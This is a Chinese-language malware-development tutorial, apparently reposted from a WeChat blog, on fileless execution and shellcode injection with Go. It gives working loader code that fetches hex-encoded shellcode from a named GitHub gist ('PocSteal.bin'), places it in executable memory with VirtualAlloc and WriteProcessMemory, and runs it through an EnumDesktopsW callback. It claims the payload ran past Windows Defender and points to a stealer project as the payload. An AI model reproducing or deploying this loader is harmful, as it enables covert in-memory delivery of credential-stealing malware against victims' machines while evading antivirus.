使用 Golang 进行恶意软件开发 — Shellcode 注入
无文件恶意软件
什么是无文件恶意软件?无文件恶意软件是直接在计算机内存而不是硬盘驱动器中运行的恶意代码。它使用合法的、其他善意的程序而不是恶意文件来破坏您的计算机。它是“无文件”的,因为当您的计算机被感染时,不会将任何文件下载到您的硬盘驱动器。
这使得无文件恶意软件分析比检测和销毁直接安装在硬盘驱动器上的病毒和其他形式的恶意软件防护要困难一些。由于无文件恶意软件攻击不需要恶意文件,因此执行硬件扫描以定位威胁的传统防病毒工具可能会完全错过它们。
无文件恶意软件通过直接进入您的计算机内存来工作。这意味着恶意代码永远不会进入您的硬盘驱动器。它到达那里的方式与其他恶意代码进入您的系统的方式非常相似。
攻击者使用无文件恶意软件来访问数据,他们可以窃取或用于破坏组织运营的数据。无文件恶意软件通过使用管理员通常信任的应用程序(如 Windows 脚本程序或 PowerShell)来隐藏。通常,这些是组织列入白名单的应用程序之一。无文件恶意软件不是位于硬盘驱动器上自己文件中的流氓程序,相反,它会损坏受信任的程序,使其更难被检测。
生成与位置无关的代码
Donut 是一个开源项目,它从各种文件类型(包括 .NET 程序集、PE 文件和脚本)生成与位置无关的 shellcode。Donut 的主要功能之一是它能够直接从内存中反射性地加载和运行程序集或二进制文件。
对于这种情况,恶意软件是使用这个库生成的,使其可以直接在内存中执行,然后这个恶意软件上传到云端以供下次执行。
当 Donut “生成与位置无关”的代码时,它确保所有函数调用、引用和数据查找都以独立于代码在内存中的绝对位置的方式执行。这允许将生成的 shellcode 放置(或“注入”)到系统内存的各个部分
Shellcode 注入
Shellcode 注入涉及将此代码注入正在运行的应用程序的内存中,然后强制应用程序执行它。Shellcode 是一小段精心制作的机器代码,用作利用软件漏洞的有效载荷。shellcode 的主要目标是在目标计算机上打开 shell 或执行任意命令。
在 Windows 上生成 calc.exe 的示例 shellcode :
section .text
global _start
_start:
; Set up the stack for the WinExec call
xor eax, eax ; Zero out eax
push eax ; Push null terminator
push 0x636c6163 ; Push "calc" in reverse order (little-endian)
mov ebx, esp ; Move the pointer to "calc�" into ebx
; Call WinExec
mov eax, 0x7C801D7B ; Address of WinExec in kernel32.dll (you need to adjust this based on the specific system)
push eax ; Push the address of WinExec
ret ; Call WinExec
section .data
Windows API
Windows API(应用程序编程接口)是 Microsoft 提供的一组函数、协议和工具,用于与 Windows 操作系统交互。它允许开发人员创建可与系统资源(如硬件、文件和其他软件)交互的应用程序。
恶意软件开发上下文中的 Windows API 涉及了解恶意软件如何利用这些 API 来执行有害活动。恶意软件开发人员经常使用各种 Windows API 函数在低级别与操作系统交互,操纵文件、进程、网络等。
调用 MessageBox 的示例 WinAPI :
调用 OpenProcess 的 WinAPI 示例:
示例:shellcode 注入
设置 shellcode url : https://gist.githubusercontent.com/asgardian249/abe71b9bc6a76434c993e36bfc10c0e3/raw/d2ab8f5c0b759ef84f5a1b190aa471bd51c30f63/PocSteal.bin
加载 Windows API dll。
func main(){
// Load DLLs
user32 := windows.NewLazyDLL("user32.dll")
kernel32 := windows.NewLazyDLL("kernel32.dll")
// Import calls
EnumDesktopsW := user32.NewProc("EnumDesktopsW")
GetProcessWindowStation := user32.NewProc("GetProcessWindowStation")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
// Get the shellcode from internet
// Allocate the memory and set memory protection
// Write the shellcode to specific memory
// Execute the shellcode
}
编写函数以从云端下载 shellcode。
// Make the HTTP request
resp, err := http.Get(url)
if err != nil {
fmt.Printf("Error making HTTP request: %vn", err)
return
}
defer resp.Body.Close()
// Check if the request was successful
if resp.StatusCode != http.StatusOK {
fmt.Printf("Received non-200 response code: %dn", resp.StatusCode)
return
}
// Read the response body
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("Error reading response body: %vn", err)
return
}
// Decode the hex string into bytes
shellcode, err := hex.DecodeString(string(body))
if err != nil {
fmt.Printf("Error decoding hex string: %vn", err)
return
}
分配内存并指定内存保护。
address, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
将 shellcode 写入之前分配的特定内存区域。
WriteProcessMemory.Call(
pHandle,
address,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(unsafe.Pointer(&size)),
)
我们用于执行 shellcode。EnumDesktopsW
winProc, _, _ := GetProcessWindowStation.Call()
fmt.Println("Calling EnumDesktopsW...")
_, _, err = EnumDesktopsW.Call(winProc, address, 0)
//fmt.Println(r1)
if err != nil {
log.Fatal(err)
}
恶意软件在 Windows Defender 的全面保护下成功执行,
结论
无文件恶意软件是网络安全领域中一种复杂而隐蔽的威胁。与依赖于写入磁盘的文件的传统恶意软件不同,无文件恶意软件通过将恶意代码直接注入合法进程的内存来运行。这种技术使其能够逃避许多传统安全解决方案的检测,包括 Windows Defender,它通常会扫描恶意文件和已知签名。
恶意软件
[来源]https://github.com/hackirby/skuld
原文始发于微信公众号(安全狗的自我修养):Maldev:[规避] shellcode 注入和无文件执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论